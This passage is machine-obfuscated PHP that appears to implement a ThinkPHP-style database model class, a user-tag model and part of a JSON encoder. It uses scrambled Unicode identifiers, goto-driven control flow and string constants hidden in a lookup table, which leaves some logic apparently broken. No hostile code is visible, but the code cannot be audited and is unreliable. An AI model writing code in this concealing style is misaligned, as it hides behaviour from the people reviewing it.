$Fֻ[$B솑] = $a٘[$B솑]; $c[$eϐ[260]] = $Fֻ; unset($a٘[$B솑]); } else { $this->error = think_lang($eϐ[259]); return !1; } } goto eŅ; eŅ: if (is_array($c[$eϐ[260]]) && isset($c[$eϐ[260]][$B솑])) { $Cѭ = $c[$eϐ[260]][$B솑]; } if (!1 === $this->_beforeUpdate($a٘, $c)) { return !1; } $B󯅘 = $this->db->update($a٘, $c); goto f暄; f暄: if (!1 !== $B󯅘) { if (isset($Cѭ)) { $a٘[$B솑] = $Cѭ; } $this->_afterUpdate($a٘, $c); } return $B󯅘; goto Eְћ; Eְћ: } protected function _beforeUpdate(&$D, $e) { } protected function _afterUpdate($F, $D˿) { } public function delete($Aք = array()) { goto B륨; f: $aѠ = $this->db->delete($Aք); if (!1 !== $aѠ) { $d = array(); if (isset($A)) { $d[$fꋰƏ] = $A; } $this->_after_delete($d, $Aք); } return $aѠ; goto eë; B륨: $Eҹ =& $_SERVER[ѽ]; if (empty($Aք) && empty($this->options[$Eҹ[260]])) { if (!empty($this->data) && isset($this->data[$this->getPk()])) { return $this->delete($this->data[$this->getPk()]); } else { return !1; } } $fꋰƏ = $this->getPk(); goto e; e: if (is_numeric($Aք) || is_string($Aք)) { if (strpos($Aք, $Eҹ[47])) { $aㅈ٨[$fꋰƏ] = array($Eҹ[261], $Aք); } else { $aㅈ٨[$fꋰƏ] = $Aք; } $this->options[$Eҹ[260]] = $aㅈ٨; } $Aք = $this->_parseOptions(); if (is_array($Aք[$Eҹ[260]]) && isset($Aք[$Eҹ[260]][$fꋰƏ])) { $A = $Aք[$Eҹ[260]][$fꋰƏ]; } goto f; eë: } protected function _after_delete($Dܝ, $C翆) { } public function select($BŢ = array()) { goto aغٚ; aغٚ: $D =& $_SERVER[ѽ]; if (is_string($BŢ) || is_numeric($BŢ)) { $ḇ = $this->getPk(); if (strpos($BŢ, $D[47])) { $a[$ḇ] = array($D[261], $BŢ); } else { $a[$ḇ] = $BŢ; } $this->options[$D[260]] = $a; } elseif (!1 === $BŢ) { $BŢ = $this->_parseOptions(); return $D[262] . $this->db->buildSelectSql($BŢ) . $D[263]; } $BŢ = $this->_parseOptions(); goto dҊ; dҊ: $Dޤᗳ = $this->db->select($BŢ); if (!1 === $Dޤᗳ) { return !1; } if (empty($Dޤᗳ)) { return null; } goto b; b: $this->_afterSelect($Dޤᗳ, $BŢ); return $Dޤᗳ; goto d֌ƍ; d֌ƍ: } protected function _afterSelect(&$Cˆ, $f蟣) { } public function buildSql($E = array()) { $aŕ騮 =& $_SERVER[ѽ]; $E = $this->_parseOptions($E); return $aŕ騮[262] . $this->db->buildSelectSql($E) . $aŕ騮[263]; } public function optionsValue($c߃ = null) { if (is_null($c߃)) { return $this->options; } elseif (is_array($c߃)) { $this->options = array_merge($this->options, $c߃); } } protected function _parseOptions($c뉠ٴ = array()) { goto Fא; Fא: $aЧю =& $_SERVER[ѽ]; if (is_array($c뉠ٴ)) { $c뉠ٴ = array_merge($this->options, $c뉠ٴ); } $this->options = array(); goto eˇނ; eˇނ: if (!isset($c뉠ٴ[$aЧю[264]])) { $c뉠ٴ[$aЧю[264]] = $this->getTableName(); $A = $this->fields; } else { $A = $this->getDbFields(); } if (!empty($c뉠ٴ[$aЧю[265]])) { $c뉠ٴ[$aЧю[264]] .= $aЧю[50] . $c뉠ٴ[$aЧю[265]]; } $c뉠ٴ[$aЧю[266]] = $this->name; goto dͰ; dͰ: if (isset($c뉠ٴ[$aЧю[260]]) && is_array($c뉠ٴ[$aЧю[260]]) && !empty($A) && !isset($c뉠ٴ[$aЧю[267]]) && !isset($c뉠ٴ[$aЧю[264]])) { foreach ($c뉠ٴ[$aЧю[260]] as $f => $C) { $f = trim($f); if (in_array($f, $A, !0)) { if (is_scalar($C)) { $this->_parseType($c뉠ٴ[$aЧю[260]], $f); } } elseif (!is_numeric($f) && $aЧю[70] != substr($f, 0, 1) && !1 === strpos($f, $aЧю[93]) && !1 === strpos($f, $aЧю[245]) && !1 === strpos($f, $aЧю[268]) && !1 === strpos($f, $aЧю[269])) { unset($c뉠ٴ[$aЧю[260]][$f]); } } } $this->_options_filter($c뉠ٴ); return $c뉠ٴ; goto f±; f±: } protected function _options_filter(&$e莆ê) { } protected function _parseType(&$cĜ, $f䇇ڨ) { $CȪ =& $_SERVER[ѽ]; if (empty($this->options[$CȪ[270]][$CȪ[4] . $f䇇ڨ])) { $Fݦ = strtolower($this->fields[$CȪ[237]][$f䇇ڨ]); if (!1 !== strpos($Fݦ, $CȪ[271])) { } elseif (!1 === strpos($Fݦ, $CȪ[272]) && !1 !== strpos($Fݦ, $CȪ[273])) { $cĜ[$f䇇ڨ] = intval($cĜ[$f䇇ڨ]); } elseif (!1 !== strpos($Fݦ, $CȪ[274]) || !1 !== strpos($Fݦ, $CȪ[275])) { $cĜ[$f䇇ڨ] = floatval($cĜ[$f䇇ڨ]); } elseif (!1 !== strpos($Fݦ, $CȪ[276])) { $cĜ[$f䇇ڨ] = (bool) $cĜ[$f䇇ڨ]; } } } public function find($eƄ = array()) { goto Bȹ; fҾ: if (!empty($this->options[$D֐[278]])) { return $this->returnResult($this->data, $this->options[$D֐[278]]); } return $this->data; goto F썊Ǟ; b: if (empty($a⃨̯)) { return null; } $this->data = $a⃨̯[0]; $this->_afterFind($this->data, $eƄ); goto fҾ; Bȹ: $D֐ =& $_SERVER[ѽ]; if (is_numeric($eƄ) || is_string($eƄ)) { $cȱ[$this->getPk()] = intval($eƄ); $this->options[$D֐[260]] = $cȱ; } $this->options[$D֐[277]] = 1; goto Aɸ; Aɸ: $eƄ = $this->_parseOptions(); $a⃨̯ = $this->db->select($eƄ); if (!1 === $a⃨̯) { return !1; } goto b; F썊Ǟ: } protected function _afterFind(&$BϠ, $b) { } protected function returnResult($B, $b = '') { $aƺԘ =& $_SERVER[ѽ]; if ($b) { if (is_callable($b)) { return call_user_func($b, $B); } switch (strtolower($b)) { case $aƺԘ[279]: return json_encode($B); case $aƺԘ[280]: return xml_encode($B); } } return $B; } public function parseFieldsMap($Dİő, $d = 1) { if (!empty($this->_map)) { foreach ($this->_map as $a => $Eڧ窼) { if ($d == 1) { if (isset($Dİő[$Eڧ窼])) { $Dİő[$a] = $Dİő[$Eڧ窼]; unset($Dİő[$Eڧ窼]); } } else { if (isset($Dİő[$a])) { $Dİő[$Eڧ窼] = $Dİő[$a]; unset($Dİő[$a]); } } } } return $Dİő; } public function setField($bƒ, $aĭ = '') { if (is_array($bƒ)) { $c = $bƒ; } else { $c[$bƒ] = $aĭ; } return $this->save($c); } public function setAdd($dŲ, $d = 1) { $Eë =& $_SERVER[ѽ]; $Bؐ񊤕 = $dŲ . $Eë[281] . $d; if ($d < 0) { $Bؐ񊤕 = $dŲ . $d; } return $this->setField($dŲ, array($Eë[282], $Bؐ񊤕)); } public function getField($B܈, $c• = null) { $E׌ =& $_SERVER[ѽ]; $f绚[$E׌[258]] = $B܈; $f绚 = $this->_parseOptions($f绚); $B܈ = trim($B܈); if (strpos($B܈, $E׌[47])) { if (!isset($f绚[$E׌[277]])) { $f绚[$E׌[277]] = is_numeric($c•) ? $c• : $E׌[33]; } $c = $this->db->select($f绚); if (!empty($c)) { goto f; Dٕ֫: foreach ($c as $b׼) { $EĘӆ = $b׼[$CȮѰ]; if (2 == $cێ̫) { $fӿ[$EĘӆ] = $b׼[$AȐԘ]; } else { $fӿ[$EĘӆ] = is_string($c•) ? implode($c•, $b׼) : $b׼; } } return $fӿ; goto B̶; F: $AȐԘ = array_shift($B܈); $fӿ = array(); $cێ̫ = count($E΄); goto Dٕ֫; f: $E΄ = explode($E׌[47], $B܈); $B܈ = array_keys($c[0]); $CȮѰ = array_shift($B܈); goto F; B̶: } } else { if (!0 !== $c•) { $f绚[$E׌[277]] = is_numeric($c•) ? $c• : 1; } if ($c• === $E׌[240]) { unset($f绚[$E׌[277]]); } $b׼ = $this->db->select($f绚); if (!empty($b׼)) { if ($c• === $E׌[240]) { return reset($b׼[0]); } if (!0 !== $c• && 1 == $f绚[$E׌[277]]) { return reset($b׼[0]); } foreach ($b׼ as $dܕ) { $F[] = $dܕ[$B܈]; } return $F; } } return null; } public function create($E = '', $B톃 = '') { goto eك٠; Cז战: if ($this->autoCheckFields) { $d̋ꅑ = $this->getDbFields(); foreach ($E as $fסĻ => $fבǎ) { if (!in_array($fסĻ, $d̋ꅑ)) { unset($E[$fסĻ]); } elseif (MAGIC_QUOTES_GPC && is_string($fבǎ)) { $E[$fסĻ] = stripslashes($fבǎ); } } } $this->autoOperation($E, $B톃); $this->data = $E; goto A⛆ײ; eك٠: $eўǍ =& $_SERVER[ѽ]; if (empty($E)) { $E = $_POST; } elseif (is_object($E)) { $E = get_object_vars($E); } if (empty($E) || !is_array($E)) { $this->error = think_lang($eўǍ[256]); return !1; } goto B; c㍇ݎ: if (isset($d̋ꅑ)) { if (is_string($d̋ꅑ)) { $d̋ꅑ = explode($eўǍ[47], $d̋ꅑ); } if (think_config($eўǍ[283])) { $d̋ꅑ[] = think_config($eўǍ[284]); } foreach ($E as $fסĻ => $fבǎ) { if (!in_array($fסĻ, $d̋ꅑ)) { unset($E[$fסĻ]); } } } if (!$this->autoValidation($E, $B톃)) { return !1; } if (!$this->autoCheckToken($E)) { $this->error = think_lang($eўǍ[285]); return !1; } goto Cז战; B: $E = $this->parseFieldsMap($E, 0); $B톃 = $B톃 ? $B톃 : (!empty($E[$this->getPk()]) ? THINK_MODEL_UPDATE : THINK_MODEL_INSERT); if (isset($this->options[$eўǍ[258]])) { $d̋ꅑ = $this->options[$eўǍ[258]]; unset($this->options[$eўǍ[258]]); } elseif ($B톃 == THINK_MODEL_INSERT && isset($this->insertFields)) { $d̋ꅑ = $this->insertFields; } elseif ($B톃 == THINK_MODEL_UPDATE && isset($this->updateFields)) { $d̋ꅑ = $this->updateFields; } goto c㍇ݎ; A⛆ײ: return $E; goto Aꈔ; Aꈔ: } public function autoCheckToken($E) { $d͘ =& $_SERVER[ѽ]; if (isset($this->options[$d͘[286]]) && !$this->options[$d͘[286]]) { return !0; } if (think_config($d͘[283])) { $Cǘ = think_config($d͘[284]); if (!isset($E[$Cǘ]) || Session::get($Cǘ)) { return !1; } list($A, $f̏) = explode($d͘[70], $E[$Cǘ]); if ($f̏ && Session::get($Cǘ . $d͘[93] . $A) === $f̏) { Session::remove($Cǘ . $d͘[93] . $A); return !0; } if (think_config($d͘[287])) { Session::remove($Cǘ . $d͘[93] . $A); } return !1; } return !0; } public function regex($B, $Aͬ) { $Fӎ =& $_SERVER[ѽ]; $aΎ = array($Fӎ[288] => $Fӎ[289], $Fӎ[290] => $Fӎ[291], $Fӎ[292] => $Fӎ[293], $Fӎ[294] => $Fӎ[295], $Fӎ[296] => $Fӎ[297], $Fӎ[298] => $Fӎ[299], $Fӎ[300] => $Fӎ[301], $Fӎ[275] => $Fӎ[302], $Fӎ[303] => $Fӎ[304]); if (isset($aΎ[strtolower($Aͬ)])) { $Aͬ = $aΎ[strtolower($Aͬ)]; } return preg_match($Aͬ, $B) === 1; } private function autoOperation(&$A, $Aު) { $Bʿ =& $_SERVER[ѽ]; if (!empty($this->options[$Bʿ[305]])) { $a = $this->options[$Bʿ[305]]; unset($this->options[$Bʿ[305]]); } elseif (!empty($this->_auto)) { $a = $this->_auto; } if (isset($a)) { foreach ($a as $F) { if (empty($F[2])) { $F[2] = THINK_MODEL_INSERT; } if ($Aު == $F[2] || $F[2] == THINK_MODEL_BOTH) { switch (trim($F[3])) { case $Bʿ[306]: case $Bʿ[307]: $F꤆ = isset($F[4]) ? (array) $F[4] : array(); if (isset($A[$F[0]])) { array_unshift($F꤆, $A[$F[0]]); } if ($Bʿ[306] == $F[3]) { $A[$F[0]] = call_user_func_array($F[1], $F꤆); } else { $A[$F[0]] = call_user_func_array(array(&$this, $F[1]), $F꤆); } break; case $Bʿ[258]: $A[$F[0]] = $A[$F[1]]; break; case $Bʿ[308]: if ($Bʿ[33] === $A[$F[0]]) { unset($A[$F[0]]); } break; case $Bʿ[309]: default: $A[$F[0]] = $F[1]; } if (!1 === $A[$F[0]]) { unset($A[$F[0]]); } } } } return $A; } protected function autoValidation($Cϙ, $CՔ) { $a÷ =& $_SERVER[ѽ]; if (!empty($this->options[$a÷[310]])) { $A = $this->options[$a÷[310]]; unset($this->options[$a÷[310]]); } elseif (!empty($this->_validate)) { $A = $this->_validate; } if (isset($A)) { if ($this->patchValidate) { $this->error = array(); } foreach ($A as $B룯 => $Fڍ) { if (empty($Fڍ[5]) || $Fڍ[5] == THINK_MODEL_BOTH || $Fڍ[5] == $CՔ) { if (0 == strpos($Fڍ[2], $a÷[311]) && strpos($Fڍ[2], $a÷[312])) { $Fڍ[2] = think_lang(substr($Fڍ[2], 2, -1)); } $Fڍ[3] = isset($Fڍ[3]) ? $Fڍ[3] : THINK_EXISTS_VALIDATE; $Fڍ[4] = isset($Fڍ[4]) ? $Fڍ[4] : $a÷[313]; switch ($Fڍ[3]) { case THINK_MUST_VALIDATE: if (!1 === $this->_validationField($Cϙ, $Fڍ)) { return !1; } break; case THINK_VALUE_VALIDATE: if ($a÷[33] != trim($Cϙ[$Fڍ[0]])) { if (!1 === $this->_validationField($Cϙ, $Fڍ)) { return !1; } } break; default: if (isset($Cϙ[$Fڍ[0]])) { if (!1 === $this->_validationField($Cϙ, $Fڍ)) { return !1; } } } } } if (!empty($this->error)) { return !1; } } return !0; } protected function _validationField($fۭٙ, $f) { if (!1 === $this->_validationFieldItem($fۭٙ, $f)) { if ($this->patchValidate) { $this->error[$f[0]] = $f[2]; } else { $this->error = $f[2]; return !1; } } return; } protected function _validationFieldItem($D, $C) { $c =& $_SERVER[ѽ]; switch (strtolower(trim($C[4]))) { case $c[306]: case $c[307]: $A½ͫ = isset($C[6]) ? (array) $C[6] : array(); if (is_string($C[0]) && strpos($C[0], $c[47])) { $C[0] = explode($c[47], $C[0]); } if (is_array($C[0])) { foreach ($C[0] as $a) { $CҠɜ[$a] = $D[$a]; } array_unshift($A½ͫ, $CҠɜ); } else { array_unshift($A½ͫ, $D[$C[0]]); } if ($c[306] == $C[4]) { return call_user_func_array($C[1], $A½ͫ); } else { return call_user_func_array(array(&$this, $C[1]), $A½ͫ); } case $c[314]: return $D[$C[0]] == $D[$C[1]]; case $c[315]: if (is_string($C[0]) && strpos($C[0], $c[47])) { $C[0] = explode($c[47], $C[0]); } $Aא = array(); if (is_array($C[0])) { foreach ($C[0] as $a) { $Aא[$a] = $D[$a]; } } else { $Aא[$C[0]] = $D[$C[0]]; } if (!empty($D[$this->getPk()])) { $Aא[$this->getPk()] = array($c[316], $D[$this->getPk()]); } if ($this->where($Aא)->find()) { return !1; } return !0; default: return $this->check($D[$C[0]], $C[1], $C[4]); } } public function check($F缒, $bﬥ, $c = "\162\145\147\145\170") { $f˭˥ =& $_SERVER[ѽ]; $c = strtolower(trim($c)); switch ($c) { case $f˭˥[7]: case $f˭˥[317]: $f = is_array($bﬥ) ? $bﬥ : explode($f˭˥[47], $bﬥ); return $c == $f˭˥[7] ? in_array($F缒, $f) : !in_array($F缒, $f); case $f˭˥[318]: case $f˭˥[319]: if (is_array($bﬥ)) { $E˜ = $bﬥ[0]; $fȍ = $bﬥ[1]; } else { list($E˜, $fȍ) = explode($f˭˥[47], $bﬥ); } return $c == $f˭˥[318] ? $F缒 >= $E˜ && $F缒 <= $fȍ : $F缒 < $E˜ || $F缒 > $fȍ; case $f˭˥[320]: case $f˭˥[321]: return $c == $f˭˥[320] ? $F缒 == $bﬥ : $F缒 != $bﬥ; case $f˭˥[322]: $Eɉѥ = mb_strlen($F缒, $f˭˥[323]); if (strpos($bﬥ, $f˭˥[47])) { list($E˜, $fȍ) = explode($f˭˥[47], $bﬥ); return $Eɉѥ >= $E˜ && $Eɉѥ <= $fȍ; } else { return $Eɉѥ == $bﬥ; } case $f˭˥[324]: list($fć, $e) = explode($f˭˥[47], $bﬥ); if (!is_numeric($fć)) { $fć = strtotime($fć); } if (!is_numeric($e)) { $e = strtotime($e); } return NOW_TIME >= $fć && NOW_TIME <= $e; case $f˭˥[325]: return in_array(get_client_ip(), explode($f˭˥[47], $bﬥ)); case $f˭˥[326]: return !in_array(get_client_ip(), explode($f˭˥[47], $bﬥ)); case $f˭˥[313]: default: return $this->regex($F缒, $bﬥ); } } public function query($a›, $Bߋ̉ = false) { $A =& $_SERVER[ѽ]; if (!is_bool($Bߋ̉) && !is_array($Bߋ̉)) { $Bߋ̉ = func_get_args(); array_shift($Bߋ̉); } $a› = str_replace(array($A[214], $A[327]), $A[50], $a›); $a› = $this->parseSql($a›, $Bߋ̉); return $this->db->query($a›); } public function execute($f, $bƒ = false) { if (!is_bool($bƒ) && !is_array($bƒ)) { $bƒ = func_get_args(); array_shift($bƒ); } $f = $this->parseSql($f, $bƒ); return $this->db->execute($f); } protected function parseSql($d, $A׫ٿ) { $C߽ =& $_SERVER[ѽ]; if (!0 === $A׫ٿ) { $bӏ = $this->_parseOptions(); $d = $this->db->parseSql($d, $bӏ); } elseif (is_array($A׫ٿ)) { $A׫ٿ = array_map(array($this->db, $C߽[328]), $A׫ٿ); $d = vsprintf($d, $A׫ٿ); } else { $d = strtr($d, array($C߽[329] => $this->getTableName(), $C߽[330] => think_config($C߽[229]))); } $this->db->setModel($this->name); return $d; } public function db($Bɐ = '', $f = '', $A = array()) { goto aǼ; e҈: $e[$Bɐ] = $f; $this->db = $Cº[$Bɐ]; $this->_after_db(); goto c֏䈙; c֏䈙: if (!empty($this->name) && $this->autoCheckFields) { $this->_checkTableInfo(); } return $this; goto c; aǼ: $aܠ =& $_SERVER[ѽ]; if ($aܠ[33] === $Bɐ && $this->db) { return $this->db; } static $e = array(); goto d󏾉; d󏾉: static $Cº = array(); if (!isset($Cº[$Bɐ]) || isset($Cº[$Bɐ]) && $f && $e[$Bɐ] != $f) { if (!empty($f) && is_string($f) && !1 === strpos($f, $aܠ[8])) { $f = think_config($f); } $Cº[$Bɐ] = Db::getInstance($f); } elseif (NULL === $f) { $Cº[$Bɐ]->close(); unset($Cº[$Bɐ]); return; } if (!empty($A)) { if (is_string($A)) { parse_str($A, $A); } foreach ($A as $a => $eĊ) { $this->setProperty($a, $eĊ); } } goto e҈; c: } protected function _after_db() { } public function getModelName() { if (empty($this->name)) { $eΌ = get_class($this); if ($eΌ == $_SERVER[ѽ][331]) { return $this->name; } $this->name = substr($eΌ, 0, -5); } return $this->name; } public function getTableName() { $B =& $_SERVER[ѽ]; if (empty($this->trueTableName)) { $a߭ = !empty($this->tablePrefix) ? $this->tablePrefix : $B[33]; if (!empty($this->tableName)) { $a߭ .= $this->tableName; } else { $a߭ .= think_parse_name($this->name); } $this->trueTableName = strtolower($a߭); } return (!empty($this->dbName) ? $this->dbName . $B[93] : $B[33]) . $this->trueTableName; } public function startTrans() { $this->commit(); $this->db->startTrans(); return; } public function commit() { return $this->db->commit(); } public function rollback() { return $this->db->rollback(); } public function getError() { return $this->error; } public function getDbError() { return $this->db->getError(); } public function getLastInsID() { return $this->db->getLastInsID(); } public function getLastSql() { return $this->db->getLastSql($this->name); } public function _sql() { return $this->getLastSql(); } public function getPk() { $Bӡ =& $_SERVER[ѽ]; return isset($this->fields[$Bӡ[236]]) ? $this->fields[$Bӡ[236]] : $this->pk; } public function getDbFields() { $B =& $_SERVER[ѽ]; if (isset($this->options[$B[264]])) { $f᥅ = $this->db->getFields($this->options[$B[264]]); return $f᥅ ? array_keys($f᥅) : !1; } if ($this->fields) { $f᥅ = $this->fields; unset($f᥅[$B[235]], $f᥅[$B[236]], $f᥅[$B[237]], $f᥅[$B[234]]); return $f᥅; } return !1; } public function data($E龜ȿ = '') { $Dػ =& $_SERVER[ѽ]; if ($Dػ[33] === $E龜ȿ && !empty($this->data)) { return $this->data; } if (is_object($E龜ȿ)) { $E龜ȿ = get_object_vars($E龜ȿ); } elseif (is_string($E龜ȿ)) { parse_str($E龜ȿ, $E龜ȿ); } elseif (!is_array($E龜ȿ)) { think_exception(think_lang($Dػ[256])); } $this->data = $E龜ȿ; return $this; } public function join($fϤι) { $bęߋ =& $_SERVER[ѽ]; if (is_array($fϤι)) { $this->options[$bęߋ[267]] = $fϤι; } elseif (!empty($fϤι)) { $this->options[$bęߋ[267]][] = $fϤι; } return $this; } public function union($CΣӟ, $a戂 = false) { goto f; dѰ: if (is_object($CΣӟ)) { $CΣӟ = get_object_vars($CΣӟ); } if (is_string($CΣӟ)) { $Aΐ = $CΣӟ; } elseif (is_array($CΣӟ)) { if (isset($CΣӟ[0])) { $this->options[$d[332]] = array_merge($this->options[$d[332]], $CΣӟ); return $this; } else { $Aΐ = $CΣӟ; } } else { think_exception(think_lang($d[256])); } $this->options[$d[332]][] = $Aΐ; goto E; E: return $this; goto Dݍ; f: $d =& $_SERVER[ѽ]; if (empty($CΣӟ)) { return $this; } if ($a戂) { $this->options[$d[332]][$d[333]] = !0; } goto dѰ; Dݍ: } public function cache($eÈ = true, $C = null, $c = '') { $C =& $_SERVER[ѽ]; if (!1 !== $eÈ) { $this->options[$C[334]] = array($C[89] => $eÈ, $C[324] => $C, $C[29] => $c); } return $this; } public function field($Cν, $eϋӜ = false) { $bȓ =& $_SERVER[ѽ]; if (!0 === $Cν) { $B͉ = $this->getDbFields(); $Cν = $B͉ ? $B͉ : $bȓ[173]; } elseif ($eϋӜ) { if (is_string($Cν)) { $Cν = explode($bȓ[47], $Cν); } $B͉ = $this->getDbFields(); $Cν = $B͉ ? array_diff($B͉, $Cν) : $Cν; } $this->options[$bȓ[258]] = $Cν; return $this; } public function scope($E淿֟ = '', $E򜏃 = NULL) { $A =& $_SERVER[ѽ]; if ($A[33] === $E淿֟) { if (isset($this->_scope[$A[34]])) { $E쎎 = $this->_scope[$A[34]]; } else { return $this; } } elseif (is_string($E淿֟)) { $F񋃄 = explode($A[47], $E淿֟); $E쎎 = array(); foreach ($F񋃄 as $B̭) { if (!isset($this->_scope[$B̭])) { continue; } $E쎎 = array_merge($E쎎, $this->_scope[$B̭]); } if (!empty($E򜏃) && is_array($E򜏃)) { $E쎎 = array_merge($E쎎, $E򜏃); } } elseif (is_array($E淿֟)) { $E쎎 = $E淿֟; } if (is_array($E쎎) && !empty($E쎎)) { $this->options = array_merge($this->options, array_change_key_case($E쎎)); } return $this; } public function where($e᳘, $F쉏Ʉ = null) { $Eۃ =& $_SERVER[ѽ]; if (!is_null($F쉏Ʉ) && is_string($e᳘)) { if (!is_array($F쉏Ʉ)) { $F쉏Ʉ = func_get_args(); array_shift($F쉏Ʉ); } $F쉏Ʉ = array_map(array($this->db, $Eۃ[328]), $F쉏Ʉ); $e᳘ = vsprintf($e᳘, $F쉏Ʉ); } elseif (is_object($e᳘)) { $e᳘ = get_object_vars($e᳘); } elseif (is_array($e᳘)) { foreach ($e᳘ as $cǰ => $D) { if ((is_numeric($cǰ) || !$cǰ) && is_string($D)) { think_trace($Eۃ[335], $Eۃ[33], $Eۃ[46]); die; } } } if (is_string($e᳘) && $Eۃ[33] != $e᳘) { $C = array(); $C[$Eۃ[336]] = $e᳘; $e᳘ = $C; } if (isset($this->options[$Eۃ[260]])) { $this->options[$Eۃ[260]] = array_merge($this->options[$Eۃ[260]], $e᳘); } else { $this->options[$Eۃ[260]] = $e᳘; } return $this; } public function limit($E, $C݋ = null) { $e˼ =& $_SERVER[ѽ]; $this->options[$e˼[277]] = is_null($C݋) ? $E : $E . $e˼[47] . $C݋; return $this; } public function page($cυ, $e䴇 = null) { $Bݎ¹ =& $_SERVER[ѽ]; $this->options[$Bݎ¹[337]] = is_null($e䴇) ? $cυ : $cυ . $Bݎ¹[47] . $e䴇; return $this; } public function comment($E䞨) { $this->options[$_SERVER[ѽ][338]] = $E䞨; return $this; } public function setProperty($d֎˴, $Cț) { if (property_exists($this, $d֎˴)) { $this->{$d֎˴} = $Cț; } return $this; } } goto A; BȨ: class UserTagModel extends ModelBaseLight { public $optionType = "\x55\x73\x65\162\56\164\x61\147\114\151\x73\164"; public $modelType = "\125\163\x65\162\x4f\x70\164\x69\x6f\156"; public $field = array("\x6e\x61\155\x65", "\163\x74\x79\x6c\x65", "\x73\x6f\162\x74"); public function listData($BƷ = false, $cˤ = "\x73\x6f\x72\164", $Dߐ = false) { return parent::listData($BƷ, $cˤ, $Dߐ); } public function remove($c) { return parent::remove($c); } public function add($c, $Eژό = "\154\x61\142\x65\x6c\x2d\147\162\x65\x79\x2d\x6e\157\x72\x6d\141\x6c") { $CÕή =& $_SERVER[ѽ]; if ($this->findByName($c)) { return !1; } $EȠ = array($CÕή[383] => $c, $CÕή[433] => $Eژό, $CÕή[2084] => $this->getSort($CÕή[243]) + 1); return parent::insert($EȠ); } public function update($Eܟ, $eʪ) { $D =& $_SERVER[ѽ]; $Aꬡ = $this->listData($Eܟ); $a = $this->findByName($eʪ[$D[28]]); if (!$Aꬡ || $a && $a[$D[364]] != $Aꬡ[$D[364]]) { return !1; } return parent::update($Eܟ, $eʪ); } public function moveTop($Fү߲) { $CٟϏأ =& $_SERVER[ѽ]; $FŅ = parent::listData(); $e܋ = $this->getSort($CٟϏأ[242]); foreach ($FŅ as &$a) { if ($a[$CٟϏأ[364]] == $Fү߲) { $a[$CٟϏأ[2101]] = $e܋; continue; } $a[$CٟϏأ[2101]] += 1; } return parent::resetData($FŅ); } public function moveBottom($bް) { $c =& $_SERVER[ѽ]; $Aу = $this->getSort($c[243]) + 1; return parent::update($bް, array($c[2101] => $Aу)); } public function resetSort($Dμ) { goto F; F: $c =& $_SERVER[ѽ]; $Dɛ = array(); $Dμ = is_array($Dμ) ? $Dμ : array(); goto Dń; f: return parent::resetData($dܷ); goto d֊Ҍ; Dń: for ($d쾺 = 0; $d쾺 < count($Dμ); $d쾺++) { $Dɛ[$Dμ[$d쾺] . $c[33]] = $d쾺 + 1; } $dܷ = parent::listData(); foreach ($dܷ as &$e) { $FƲ = $Dɛ[$e[$c[364]]]; $e[$c[2101]] = $FƲ ? $FƲ : $e[$c[2101]]; } goto f; d֊Ҍ: } private function getSort($fݏ) { $cͣ =& $_SERVER[ѽ]; $aڱИ = parent::listData(); $bʺ = array_to_keyvalue($aڱИ, $cͣ[33], $cͣ[2101]); if (!$bʺ) { $bʺ = array(0); } $C۬ = $fݏ == $cͣ[243] ? max($bʺ) : min($bʺ); return intval($C۬); } } goto Eֻ; c͍: define($_SERVER[ѽ][1914], 32); class Services_JSON { function __construct($A = 0) { $this->use = $A; } function utf162utf8($C愧) { $a =& $_SERVER[ѽ]; if (function_exists($a[68])) { return mb_convert_encoding($C愧, $a[1566], $a[1915]); } $aӮ  = ord($C愧[0]) << 8 | ord($C愧[1]); switch (!0) { case (127 & $aӮ ) == $aӮ : return chr(127 & $aӮ ); case (2047 & $aӮ ) == $aӮ : return chr(192 | $aӮ  >> 6 & 31) . chr(128 | $aӮ  & 63); case (65535 & $aӮ ) == $aӮ : return chr(224 | $aӮ  >> 12 & 15) . chr(128 | $aӮ  >> 6 & 63) . chr(128 | $aӮ  & 63); } return $a[33]; } function utf82utf16($B) { $bĸ =& $_SERVER[ѽ]; if (function_exists($bĸ[68])) { return mb_convert_encoding($B, $bĸ[1915], $bĸ[1566]); } switch (strlen($B)) { case 1: return $B; case 2: return chr(7 & ord($B[0]) >> 2) . chr(192 & ord($B[0]) << 6 | 63 & ord($B[1])); case 3: return chr(240 & ord($B[0]) << 4 | 15 & ord($B[1]) >> 2) . chr(192 & ord($B[1]) << 6 | 127 & ord($B[2])); } return $bĸ[33]; } function encode($C) { $f =& $_SERVER[ѽ]; switch (gettype($C)) { case $f[1577]: return $C ? $f[1576] : $f[1578]; case $f[1916]: return $f[101]; case $f[300]: return (int) $C; case $f[275]: case $f[274]: return (double) $C; case $f[309]: $B҅ = $f[33]; $C = strlen($C); for ($cчǝ = 0; $cчǝ < $C; ++$cчǝ) { $Eɳ = ord($C[$cчǝ]); switch (!0) { case $Eɳ == 8: $B҅ .= $f[1917]; break; case $Eɳ == 9: $B҅ .= $f[1553]; break; case $Eɳ == 10: $B҅ .= $f[1551]; break; case $Eɳ == 12: $B҅ .= $f[1918]; break; case $Eɳ == 13: $B҅ .= $f[1552]; break; case $Eɳ == 34: case $Eɳ == 47: case $Eɳ == 92: $B҅ .= $f[95] . $C[$cчǝ]; break; case $Eɳ >= 32 && $Eɳ <= 127: $B҅ .= $C[$cчǝ]; break; case ($Eɳ & 224) == 192: $C = pack($f[1919], $Eɳ, ord($C[$cчǝ + 1])); $cчǝ += 1; $B = $this->utf82utf16($C); $B҅ .= sprintf($f[1920], bin2hex($B)); break; case ($Eɳ & 240) == 224: $C = pack($f[1919], $Eɳ, ord($C[$cчǝ + 1]), ord($C[$cчǝ + 2])); $cчǝ += 2; $B = $this->utf82utf16($C); $B҅ .= sprintf($f[1920], bin2hex($B)); break; case ($Eɳ & 248) == 240: $C = pack($f[1919], $Eɳ, ord($C[$cчǝ + 1]), ord($C[$cчǝ + 2]), ord($C[$cчǝ + 3])); $cчǝ += 3; $B = $this->utf82utf16($C); $B҅ .= sprintf($f[1920], bin2hex($B)); break; case ($Eɳ & 252) == 248: $C = pack($f[1919], $Eɳ, ord($C[$cчǝ + 1]), ord($C[$cчǝ + 2]), ord($C[$cчǝ + 3]), ord($C[$cчǝ + 4])); $cчǝ += 4; $B = $this->utf82utf16($C); $B҅ .= sprintf($f[1920], bin2hex($B)); break; case ($Eɳ & 254) == 252: $C = pack($f[1919], $Eɳ, ord($C[$cчǝ + 1]), ord($C[$cчǝ + 2]), ord($C[$cчǝ + 3]), ord($C[$cчǝ + 4]), ord($C[$cчǝ + 5])); $cчǝ += 5; $B = $this->utf82utf16($C); $B҅ .= sprintf($f[1920], bin2hex($B)); break; } } return $f[113] . 